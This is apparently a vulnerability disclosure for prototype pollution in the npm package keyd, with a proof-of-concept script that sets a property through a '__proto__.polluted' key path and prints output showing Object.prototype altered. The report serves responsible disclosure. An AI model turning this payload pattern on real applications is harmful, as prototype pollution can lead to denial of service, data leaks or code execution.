Prototype Pollution in trenskow/keyd

Valid

Reported on

Feb 14th 2021


Description

keyd is vulnerable to Prototype Pollution. This package fails to restrict access to prototypes of objects, allowing for modification of prototype behavior using a proto payload, which may result in Sensitive Information Disclosure/Denial of Service(DoS)/Remote Code Execution.

Proof of Concept

  1. Create the following PoC file:
// poc.js
var keyd = require("keyd")
var obj = {}
console.log("Before : " + {}.polluted);
keyd(obj).set('__proto__.polluted', 'Yes! Its Polluted');
console.log("After : " + {}.polluted);

  1. Execute the following commands in another terminal:
npm i keyd # Install affected module
node poc.js #  Run the PoC
  1. Check the Output:
Before : undefined
After : Yes! Its Polluted

Occurrences

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